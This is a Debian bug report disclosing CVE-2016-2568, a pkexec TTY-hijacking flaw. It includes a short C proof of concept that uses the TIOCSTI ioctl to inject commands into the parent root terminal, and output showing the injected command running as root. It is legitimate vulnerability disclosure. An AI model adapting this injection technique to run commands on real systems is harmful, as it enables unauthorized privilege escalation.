policykit-1: CVE-2016-2568: Program run via pkexec as unprivileged user can escape to parent session via TIOCSTI ioctl

Debian Bug report logs - #812512
policykit-1: CVE-2016-2568: Program run via pkexec as unprivileged user can escape to parent session via TIOCSTI ioctl

Reply or subscribe to this bug.

Toggle useless messages

Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: up201407890@alunos.dcc.fc.up.pt

To: submit@bugs.debian.org

Subject: pkexec tty hijacking via TIOCSTI ioctl

Date: Sun, 24 Jan 2016 16:08:57 +0100

Package: policykit-1
Version: all
Severity: important
File: /usr/bin/pkexec

When executing a program via "pkexec --user nonpriv program" the  
nonpriv session can escape to the parent session by using the TIOCSTI  
ioctl to push characters into the terminal's input buffer, allowing  
privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid()  
and in "sudo" by using the "use_pty" flag.

$ cat test.c
#include <sys/ioctl.h>

int main()
{
 char *cmd = "id\n";
 while(*cmd)
  ioctl(0, TIOCSTI, cmd++);
}

$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)


I don't believe any of the previous mentions of fixes for "su" and  
"sudo" work here, since executing a shell via pkexec would make it not  
have job control.

I'm also requesting a CVE for this issue

Thanks,
Federico Bento

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

Message #20 received at 812512@bugs.debian.org (full text, mbox, reply):

From: Adam Maris <amaris@redhat.com>

To: 812512@bugs.debian.org

Subject: pkexec tty hijacking via TIOCSTI ioctl - CVE-2016-2568

Date: Tue, 7 Jun 2016 11:39:18 +0200

[Message part 1 (text/plain, inline)]

CVE (CVE-2016-2568) for this issue was already assigned here:

http://seclists.org/oss-sec/2016/q1/443

Regards,

-- 
Adam Mariš, Red Hat Product Security
1CCD 3446 0529 81E3 86AF  2D4C 4869 76E7 BEF0 6BC2

[Message part 2 (text/html, inline)]

Send a report that this bug log contains spam.